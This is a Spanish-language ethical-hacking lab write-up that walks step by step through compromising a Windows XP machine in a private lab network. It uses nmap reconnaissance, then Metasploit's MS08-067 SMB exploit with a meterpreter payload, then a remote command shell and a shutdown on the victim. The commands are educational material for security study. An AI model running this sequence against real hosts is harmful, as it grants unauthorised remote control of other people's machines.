1. Laboratorio Nº 1
Tema: Ataque a máquina Windows XP puerto 445
Fecha: 29-may-2010
Autor: Jorge Armando Rojas Osorio
e-mail: jorgearmandor@gmail.com
2. INTRODUCCIÓN
El puerto TCP 445 abierto por defecto maquinas con Windows XP o Windows
2000, es utilizado para manejar recursos e impresoras compartidas a través de
una red, utilizando el protocolo SMB (Server Messagge Block) a través de TCP/IP
A través de herramientas existentes en la distribución GNU/Linux BackTrack 4.0,
se llevan a cabo una serie de pasos para lograr realizar una penetración al
sistema Windows XP en el cual la maquina atacante lograra tener acceso remoto y
podrá controlar esta misma.
Antes que todo se realiza un mapeo al equipo víctima en el cual se observan los
puertos vulnerables, que tipo de servicio presta, además información que puede
ser útil durante el ataque en forma controlada.
3. Paso 1:
Al probar el comando ifconfig se observa que solo esta activa la interfaz local lo
por lo que es necesario ejecutar una serie de comandos para levantar la interfaz
eth0 para obtener la dirección IP de la maquina BackTrack.
Iniciamos los servicios de red en menu > services > NETWORK y damos click en
Start NETWORK
Nuevamente probamos el comando ifconfig y observamos algo similar a lo que la
figura muestra.
De esta forma obtenemos la dirección IP de BackTrack. IP: 192.168.56.102
En la maquina Windows XP, dentro de símbolo de sistema ejecutamos el
comando ipconfig con el cual obtenemos la dirección IP de la misma.
4. IP: 192.168.56.101
Ya con las dos direcciones de red, realizamos pruebas de conexión dentro de la
red local.
Prueba 1: realizar un ping desde la maquina atacante a la víctima y viceversa.
Prueba 2: dentro del equipo atacante iniciamos el servidor apache para que la
víctima se conecte a este, usamos el comando sudo /etc/init.d/apache2 start
abrimos un navegador web y escribimos la dirección 127.0.0.1 o la IP del mismo
en este caso 192.168.56.102, en el cual observamos un mensaje It Works! con lo
que el servidor apache ha sido inicializado correctamente. Vamos a la maquina
Windows y de igual forma abrimos un navegador web e ingresamos la dirección de
donde se inicio el servidor apache, en el cual se observa el mismo mensaje.
Paso 2:
Después de la identificación de la víctima, se hace un mapeo o escaneo de
puertos usando la herramienta nmap el cual nos devuelve diferente tipo de
información muy importante para la realización del ataque.
Al ejecutar en una consola el comando nmap el resultado devuelto nos muestra
las diferentes formas de uso que tiene este mismo, de las cuales mostraremos las
más sencillas de usar.
• nmap -PN 192.168.56.101 nos permite observar los puertos que la
maquina tiene habilitados y el estado en que se encuentran.
5. En la imagen anterior se observa que la maquina victima, tiene 997 puertos
cerrados, pero tiene habilitados los puertos 135, 139, 445 todos TCP y con estado
abierto, de esta forma utilizaremos el puerto TCP 445 para realizar el acceso a la
maquina.
• nmap -sV 192.168.56.101 este comando nos permite por medio de la
sentencia sV observar que servicios presta cada uno de los puertos
habilitados y que versión tiene dicho puerto, además nos da una pequeña
información del sistema operativo que tiene la maquina atacada.
Tal como el recuadro blanco de la figura anterior lo muestra la maquina atacada
tiene un sistema operativo Windows.
• sudo nmap -O 192.168.56.101 la ejecución de este comando nos muestra
toda la información del sistema operativo del equipo víctima.
6. Como se observa en la figura anterior el recuadro blanco muestra información
como la dirección física del equipo la versión de sistema operativo en este caso
XP y los detalles del sistema operativo en el caso muestra que es un Windows XP
SP2 o SP3 o una maquina con Windows Server 2003.
Paso 3:
Con toda esta información recopilada, se realiza la penetración al sistema para
ello dentro del BackTrack entramos al Menú – BackTrack – Penetration –
Framework Version 3. Dentro de este submenú se encuentran las diferentes
formas de usar la herramienta
• Msfconsole: modo consola por medio de comandos
• Msfgui: modo grafico
• Msfweb: por medio de un navegador web, ejecutando esta forma y dentro
del navegador ingresando la dirección http://127.0.0.1:55555
• Msfcli: muestra los diferentes exploits que contiene el metasploit framework
NOTA: para la realización de esta práctica se usara el modo consola ejecutando
en este menú el Msfconsole o como usuario root se escribe
7. cd /opt/metasploit/msf3 para ir a la ruta del metasploit framework donde se
ejecuta el comando ./msfconsole para iniciar.
Al iniciar el modo consola nos muestra algo similar a la siguiente imagen
Una vez dentro del msf3 se ejecutan una serie de comandos con los cuales se va
a armar el ataque a la victima (paso paso será explicado en qué consiste cada
comando).
Inicialmente se escoge el exploit a ejecutar el cual es un fragmento de código o
sentencia que se aprovecha de un error o fallo de seguridad en este caso se
vulnera el puerto 445 como se viene mencionando anteriormente.
Para ello escribimos el comando use windows/smb/ms08_067_netapi
8. La imagen anterior muestra que el exploit ha sido establecido de forma correcta.
Luego de realizar la anterior acción se establece el payload, esta es la operación
más importante, ya que es la acción que se va a ejecutar cuando la maquina
victima ha sido atacada, en este caso se usa meterpreter. El meterpreter o meta
interprete es una familia de plugins avanzados para utilizar sobre sistemas
Windows comprometidos que tienen como característica fundamental que todo es
cargado en la memoria del sistema sin crear ningún proceso adicional.
Usamos el comando set payload windows/meterpreter/bind_tcp
La imagen anterior muestra que se ha establecido de forma correcta
NOTA: además de este método, se puede usar
windows/meterpreter/reverse_tcp el cual realiza las funciones de forma inversa,
otro de los payloads usados es el windows/shell/bind_tcp o reverse_tcp el cual
nos abre una sesión de símbolo del sistema de Windows.
Luego de establecida la acción se verifica que información hace falta para que el
exploit se ejecute de forma correcta, para esto usamos el comando show options
9. Como muestra la imagen anterior los campos RHOST y LHOST se encuentran
vacios, por lo que se deben establecer estos dos campos los cuales deben
contener una dirección de red. RHOST es la maquina víctima o host remoto y
LHOST la maquina atacante o host local
Se usa el comando set RHOST 192.168.56.101 para establecer la dirección de la
victima
Se establece el host local por medio de set LHOST 192.168.56.102
Nuevamente verificamos las opciones con show options
La sentencia nos devuelve los campos con los datos correspondientes, de esta
forma el exploit se encuentra armado y listo para ejecutarse
10. Después de tantos comandos en el armado del exploit viene la parte más
divertida, es la de lanzar de una vez el ataque con lo que sencillamente basta con
escribir la palabra exploit de esta forma se empieza a establecer la comunicación
entre los dos hosts y se logra ejecutar el payload anteriormente establecido
Con la sesión meterpreter creada podemos usar el comando ps para visualizar
los procesos que la victima está ejecutando en ese momento, de la misma forma
se puede crear una sesión de símbolo de sistema de Windows usando execute -f
cmd.exe -c -i con lo cual se obtiene el acceso al intérprete de comandos dentro
del directorio C:WINDOWSsystem32>
De esta forma la maquina victima esta bajo el control del atacante donde se
pueden hacer todas las acciones a su antojo como por ejemplo dejar un mensaje
en el escritorio
11. Al comprobar en Windows XP:
Te invito a probar C:WINDOWSsystem32>shutdown –s y observa lo que ocurre
NOTA FINAL: Este laboratorio se realizo en un ambiente controlado sin afectar a
otras personas, la realización de un laboratorio de hacking ético solo tiene fines
educativos.
BY: BenderX